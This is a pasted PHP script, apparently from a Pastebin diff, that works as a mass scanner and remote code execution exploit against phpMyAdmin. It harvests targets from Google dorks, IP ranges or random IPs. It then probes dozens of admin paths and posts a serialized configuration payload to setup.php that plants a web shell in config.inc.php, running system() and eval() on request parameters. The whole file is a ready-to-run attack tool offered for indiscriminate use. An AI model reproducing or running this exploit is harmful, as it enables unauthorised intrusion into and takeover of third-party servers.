View difference between Paste ID: Y7hF7wXv and in1n9usy
SHOW: | | - or go back to the newest paste.
1
<?php
2
3
error_reporting(0);
4
set_time_limit(0);
5
ini_set('memory_limit', '256M');
6
ini_set('display_errors', 0);
7
ini_set('max_execution_time', 0);
8
ini_set('allow_url_fopen', 1);
9
/*
10
 * ***************************************************************
11
  pmaPWN.php - d3ck4, [email protected]
12
  phpMyAdmin Code Injection RCE Scanner & Exploit
13
  This is PHP version original http://milw0rm.com/exploits/8921
14
  credit: Greg Ose, pagvac @ gnucitizen.org
15
  greetz: Hacking Expose!, HM Security, darkc0de
16
 * ***************************************************************
17
18
  EDITADO POR GoogleINURL
19
  blog.inurl.com.br
20
 */
21
22
23
$list = array(
24
    '/phpmyadmin/',
25
    '/phpMyAdmin/',
26
    '/PMA/',
27
    '/pma/',
28
    '/admin/',
29
    '/dbadmin/',
30
    '/mysql/',
31
    '/myadmin/',
32
    '/phpmyadmin2/',
33
    '/phpMyAdmin2/',
34
    '/phpMyAdmin-2/',
35
    '/php-my-admin/',
36
    '/phpMyAdmin-2.2.3/',
37
    '/phpMyAdmin-2.2.6/',
38
    '/phpMyAdmin-2.5.1/',
39
    '/phpMyAdmin-2.5.4/',
40
    '/phpMyAdmin-2.5.5-rc1/',
41
    '/phpMyAdmin-2.5.5-rc2/',
42
    '/phpMyAdmin-2.5.5/',
43
    '/phpMyAdmin-2.5.5-pl1/',
44
    '/phpMyAdmin-2.5.6-rc1/',
45
    '/phpMyAdmin-2.5.6-rc2/',
46
    '/phpMyAdmin-2.5.6/',
47
    '/phpMyAdmin-2.5.7/',
48
    '/phpMyAdmin-2.5.7-pl1/',
49
    '/phpMyAdmin-2.6.0-alpha/',
50
    '/phpMyAdmin-2.6.0-alpha2/',
51
    '/phpMyAdmin-2.6.0-beta1/',
52
    '/phpMyAdmin-2.6.0-beta2/',
53
    '/phpMyAdmin-2.6.0-rc1/',
54
    '/phpMyAdmin-2.6.0-rc2/',
55
    '/phpMyAdmin-2.6.0-rc3/',
56
    '/phpMyAdmin-2.6.0/',
57
    '/phpMyAdmin-2.6.0-pl1/',
58
    '/phpMyAdmin-2.6.0-pl2/',
59
    '/phpMyAdmin-2.6.0-pl3/',
60
    '/phpMyAdmin-2.6.1-rc1/',
61
    '/phpMyAdmin-2.6.1-rc2/',
62
    '/phpMyAdmin-2.6.1/',
63
    '/phpMyAdmin-2.6.1-pl1/',
64
    '/phpMyAdmin-2.6.1-pl2/',
65
    '/phpMyAdmin-2.6.1-pl3/',
66
    '/phpMyAdmin-2.6.2-rc1/',
67
    '/phpMyAdmin-2.6.2-beta1/',
68
    '/phpMyAdmin-2.6.2-rc1/',
69
    '/phpMyAdmin-2.6.2/',
70
    '/phpMyAdmin-2.6.2-pl1/',
71
    '/phpMyAdmin-2.6.3/',
72
    '/phpMyAdmin-2.6.3-rc1/',
73
    '/phpMyAdmin-2.6.3/',
74
    '/phpMyAdmin-2.6.3-pl1/',
75
    '/phpMyAdmin-2.6.4-rc1/',
76
    '/phpMyAdmin-2.6.4-pl1/',
77
    '/phpMyAdmin-2.6.4-pl2/',
78
    '/phpMyAdmin-2.6.4-pl3/',
79
    '/phpMyAdmin-2.6.4-pl4/',
80
    '/phpMyAdmin-2.6.4/',
81
    '/phpMyAdmin-2.7.0-beta1/',
82
    '/phpMyAdmin-2.7.0-rc1/',
83
    '/phpMyAdmin-2.7.0-pl1/',
84
    '/phpMyAdmin-2.7.0-pl2/',
85
    '/phpMyAdmin-2.7.0/',
86
    '/phpMyAdmin-2.8.0-beta1/',
87
    '/phpMyAdmin-2.8.0-rc1/',
88
    '/phpMyAdmin-2.8.0-rc2/',
89
    '/phpMyAdmin-2.8.0/',
90
    '/phpMyAdmin-2.8.0.1/',
91
    '/phpMyAdmin-2.8.0.2/',
92
    '/phpMyAdmin-2.8.0.3/',
93
    '/phpMyAdmin-2.8.0.4/',
94
    '/phpMyAdmin-2.8.1-rc1/',
95
    '/phpMyAdmin-2.8.1/',
96
    '/phpMyAdmin-2.8.2/',
97
    '/sqlmanager/',
98
    '/mysqlmanager/',
99
    '/p/m/a/',
100
    '/PMA2005/',
101
    '/pma2005/',
102
    '/phpmanager/',
103
    '/php-myadmin/',
104
    '/phpmy-admin/',
105
    '/webadmin/',
106
    '/sqlweb/',
107
    '/websql/',
108
    '/webdb/',
109
    '/mysqladmin/',
110
    '/mysql-admin/',
111
);
112
113
function filterHost($array = array()) {
114
    if (!empty($array)) {
115
        foreach ($array as $value) {
116
            $real = parse_url("http://{$value}");
117
            $_[] = "http://" . $real['host'];
118
        }
119
120
        return array_filter(array_unique($_));
121
    } else {
122
123
        return NULL;
124
    }
125
}
126
127
################################################################################
128
#GENERATOR RANGE IP#############################################################
129
################################################################################
130
131
function __generatorRangeIP($range) {
132
133
    $ip_ = explode(',', $range);
134
    if (is_array($ip_)) {
135
136
        $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1]));
137
        while ($_[0] <= $_[1]) {
138
139
            $ips[] = "http://" . long2ip($_[0]);
140
            $_[0] ++;
141
        }
142
    } else {
143
144
        return FALSE;
145
    }
146
147
    return $ips;
148
}
149
150
################################################################################
151
#GENERATOR RANGE IP RANDOM######################################################
152
################################################################################
153
154
function __generatorIPRandom($cont) {
155
156
    $cont[0] = 0;
157
    while ($cont[0] < $cont[1]) {
158
159
        $bloc[0] = rand(0, 255);
160
        $bloc[1] = rand(0, 255);
161
        $bloc[2] = rand(0, 255);
162
        $bloc[3] = rand(0, 255);
163
        $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}";
164
165
        $cont[0] ++;
166
    }
167
    return array_unique($ip);
168
}
169
170
$banner = "
171
\t---------------------------------------------------------------
172
\t        phpMyAdmin Code Injection RCE Scanner & Exploit
173
\t  This is PHP version original http://milw0rm.com/exploits/8921
174
\t        Edited by GoogleINURL - http://blog.inurl.com.br
175
\t---------------------------------------------------------------
176
\n";
177
178
if ($argc > 1) {
179
    print $banner;
180
    print "Usage: php $argv[0] \n";
181
    exit;
182
}
183
184
print $banner;
185
print "\n";
186
$Handlex = FOpen("pmaPWN.log", "a+");
187
FWrite($Handlex, $banner);
188
189
print "[-] Master, where you want to go today? \n";
190
print "[-] OPTIONS: \n";
191
print "---------------------------------------------------------------------\n";
192
print "[+] DORKING:         [ 1 ]\n";
193
print "[+] RANGE IP:        [ 2 ]\n";
194
print "[+] RANGE IP RANDOM: [ 3 ]\n";
195
print "[+] VALUES FILE:     [ 4 ]\n";
196
print "---------------------------------------------------------------------\n";
197
fwrite(STDOUT, "\nGoogleINURL@scan:/options#  ");
198
$op = trim(fgets(STDIN));
199
200
if ($op == 1) {
201
    print "[-] example: intitle:phpMyAdmin\n";
202
    fwrite(STDOUT, "GoogleINURL@scan:/options/set_dork#  ");
203
    $dork = urlencode(trim(fgets(STDIN)));
204
    print "\n[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n";
205
    FWrite($Handlex, "[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n");
206
//for($i = 0; $i <= 2; $i+=100) {
207
    $ch = curl_init();
208
    curl_setopt($ch, CURLOPT_URL, "https://www.google.com.br/search?q=$dork&num=1500&btnG=Search&pws=1");
209
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
210
    curl_setopt($ch, CURLOPT_TIMEOUT, 200);
211
    curl_setopt($ch, CURLOPT_HEADER, 1);
212
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
213
    curl_setopt($ch, CURLOPT_REFERER, "http://google.com");
214
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');
215
    $pg = curl_exec($ch);
216
    curl_close($ch);
217
218
# MODIFICADO MOTOR DE BUSCA E REG DE VALIDAÇÃO BY GoogleINURL - 26/jun/2015
219
    $html = str_replace('href="/url?q=', 'href="', $pg);
220
    $html = str_replace('https://www.google.com.br', '', $html);
221
    $html = str_replace('http://www.phpmyadmin.net', '', $html);
222
223
    preg_match_all("#(<h3 class=\"r\"><a href=\"http[s]?://(.*?)\">)#si", $html, $links);
224
    $_ = array_filter(array_unique($links[2]));
225
226
//if (preg_match_all($reg, $html, $links)) { $res[] = $links[2]; }
227
//}
228
    $res = filterHost($_);
229
}
230
231
if ($op == 2) {
232
    print "\n[-] example: 200.107.69.1,200.107.69.255 \n";
233
    fwrite(STDOUT, "GoogleINURL@scan:/options/set_range#  ");
234
    $value = (trim(fgets(STDIN)));
235
    $res = __generatorRangeIP($value);
236
}
237
238
if ($op == 3) {
239
    print "\n[-] Amount of IPS / example: 255 \n";
240
    fwrite(STDOUT, "GoogleINURL@scan:/options/set_range_rand#  ");
241
    $value = (trim(fgets(STDIN)));
242
    $res = __generatorIPRandom(array([0] => 0, 1 => $value));
243
}
244
245
if ($op == 4) {
246
    print "[-] example: hosts.txt ";
247
    fwrite(STDOUT, "\nGoogleINURL@scan:/options/set_file#  ");
248
    $value = (trim(fgets(STDIN)));
249
    $res = array_unique(array_filter(explode("\n", file_get_contents($value))));
250
}
251
252
253
254
(!isset($res) && empty($res) ? exit("\n[x] ERRO SEM RESULTADOS\n") : NULL);
255
print "---------------------------------------------------------------------\n";
256
$total = count($res);
257
print "\n[+] Done. $total rows return.\n";
258
FWrite($Handlex, "[+] Done. $total rows return.\n");
259
FClose($Handlex);
260
261
//   foreach($res as $key) {
262
$cont = 1;
263
foreach ($res as $url) {
264
265
    $Handlex = FOpen("pmaPWN.log", "a+");
266
    //$real = parse_url("http://{$target}");
267
    //$url = "http://" . $real['host'];
268
    print "\n[ {$cont} / {$total} ][-] Scanning phpMyAdmin on " . $url . "\n";
269
    $cont++;
270
    FWrite($Handlex, "\n[-] Scanning phpMyAdmin on " . $url . "\n");
271
    FClose($Handlex);
272
    sleep(5);
273
    $curlHandle = curl_multi_init();
274
    for ($i = 0; $i < count($list); $i++)
275
        $curl[$i] = addHandle($curlHandle, $url . $list[$i]);
276
    ExecHandle($curlHandle);
277
    for ($i = 0; $i < count($list); $i++) {
278
        $text[$i] = curl_multi_getcontent($curl[$i]);
279
        //echo $url.$list[$i]."\n";
280
        $Handlex = FOpen("pmaPWN.log", "a+");
281
        if (preg_match("/<title>phpMyAdmin/", $text[$i]) or preg_match("/<title>Access denied/", $text[$i]) and preg_match("/phpMyAdmin/", $text[$i])) {
282
            print "\n[!] w00t! w00t! Found phpMyAdmin [ " . $url . $list[$i] . " ]";
283
            print "\n[+] Testing vulnerable, wait sec..\n";
284
            FWrite($Handlex, "\n[!] w00t! w00t! Found phpMyAdmin [ " . $url . $list[$i] . " ]");
285
            FWrite($Handlex, "\n[+] Testing vulnerable, wait sec..\n");
286
            if (preg_match("/phpMyAdmin is more friendly with a/", $text[$i])) {
287
                print "\n[!] w00t! w00t! NO PASSWD --> [ " . $url . $list[$i] . " ]\n";
288
                FWrite($Handlex, "\n[!] w00t! w00t! NO PASSWD --> [ " . $url . $list[$i] . " ]\n");
289
            }
290
            FClose($Handlex);
291
            exploit_site($url . $list[$i]);
292
        }
293
    }
294
    for ($i = 0; $i < count($list); $i++)//remove the handles
295
        curl_multi_remove_handle($curlHandle, $curl[$i]);
296
    curl_multi_close($curlHandle);
297
    sleep(5);
298
}
299
300
// }
301
302
function addHandle(&$curlHandle, $url) {
303
    $cURL = curl_init();
304
    curl_setopt($cURL, CURLOPT_URL, $url);
305
    curl_setopt($cURL, CURLOPT_HEADER, 0);
306
    curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
307
    curl_setopt($cURL, CURLOPT_TIMEOUT, 10);
308
    curl_setopt($cURL, CURLOPT_CONNECTTIMEOUT, 10);
309
    curl_multi_add_handle($curlHandle, $cURL);
310
    return $cURL;
311
}
312
313
//execute the handle until the flag passed
314
// to function is greater then 0
315
function ExecHandle(&$curlHandle) {
316
    $flag = null;
317
    do {
318
//fetch pages in parallel
319
        curl_multi_exec($curlHandle, $flag);
320
    } while ($flag > 0);
321
}
322
323
function exploit_site($url) {
324
    $ch = curl_init();
325
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
326
    curl_setopt($ch, CURLOPT_HEADER, 1);
327
    curl_setopt($ch, CURLOPT_TIMEOUT, 100);
328
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
329
    curl_setopt($ch, CURLOPT_URL, $url . "scripts/setup.php");
330
    $result = curl_exec($ch);
331
    curl_close($ch);
332
    $ch2 = curl_init();
333
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
334
    curl_setopt($ch, CURLOPT_TIMEOUT, 100);
335
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
336
    curl_setopt($ch2, CURLOPT_URL, $url . "config/config.inc.php");
337
    $result2 = curl_exec($ch2);
338
    curl_close($ch2);
339
    //print $url;
340
    if (preg_match("/200 OK/", $result) and preg_match("/token/", $result) and preg_match("/200 OK/", $result2)) {
341
        print "\n[!] w00t! w00t! Found possible phpMyAdmin vuln";
342
        print "\n[+] Exploiting, wait sec..\n";
343
        $Handlex = FOpen("pmaPWN.log", "a+");
344
        FWrite($Handlex, "\n[!] w00t! w00t! Found possible phpMyAdmin vuln");
345
        FWrite($Handlex, "\n[+] Exploiting, wait sec..\n");
346
        FClose($Handlex);
347
        exploit($url);
348
    } else {
349
        $Handlex = FOpen("pmaPWN.log", "a+");
350
        print "\n[-] Shit! no luck.. not vulnerable\n";
351
        FWrite($Handlex, "\n[-] Shit! no luck.. not vulnerable\n");
352
        FClose($Handlex);
353
    }
354
}
355
356
function exploit($w00t) {
357
    $Handlex = FOpen("pmaPWN.log", "a+");
358
    $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) "; //firefox 
359
    //first get cookie + token 
360
    $curl = curl_init();
361
    curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php"); //URL 
362
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
363
    curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
364
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
365
    curl_setopt($curl, CURLOPT_TIMEOUT, 100);
366
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
367
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
368
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
369
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string 
370
    curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
371
    curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
372
    $result = curl_exec($curl);
373
    curl_close($curl);
374
    if (preg_match_all("/token\"\s+value=\"([^>]+?)\"/", $result, $matches))
375
        ;
376
377
    $token = $matches[1][1];
378
    if ($token != '') {
379
        print "\n[!] w00t! w00t! Got token = " . $matches[1][1];
380
        FWrite($Handlex, "\n[!] w00t! w00t! Got token = " . $matches[1][1]);
381
        $payload = "token=" . $token . "&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix";
382
        print "\n[+] Sending evil payload mwahaha.. \n";
383
        FWrite($Handlex, "\n[+] Sending evil payload mwahaha.. \n");
384
        $curl = curl_init();
385
        curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php");
386
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
387
        curl_setopt($curl, CURLOPT_TIMEOUT, 200);
388
        curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
389
        curl_setopt($curl, CURLOPT_REFERER, $w00t);
390
        curl_setopt($curl, CURLOPT_POST, true);
391
        curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
392
        curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
393
        curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
394
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
395
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
396
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
397
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
398
        $result = curl_exec($curl);
399
        curl_close($curl);
400
401
        print "\n[!] w00t! w00t! You should now have shell here";
402
        print "\n[+] " . $w00t . "config/config.inc.php?c=id \n";
403
        print "\n[!] Saved. Dont forget to check `pmaPWN.log`\n";
404
        FWrite($Handlex, "\n[!] w00t! w00t! You should now have shell here");
405
        FWrite($Handlex, "\n[+] " . $w00t . "config/config.inc.php?c=id \n");
406
    } else {
407
        print "\n[!] Shit! no luck.. not vulnerable\n";
408
        FWrite($Handlex, "\n[!] Shit! no luck.. not vulnerable\n");
409
        return false;
410
    }
411
    FClose($Handlex);
412
    if (file_exists('exploitcookie.txt')) {
413
        unlink('exploitcookie.txt');
414
    }
415
    //exit();
416
}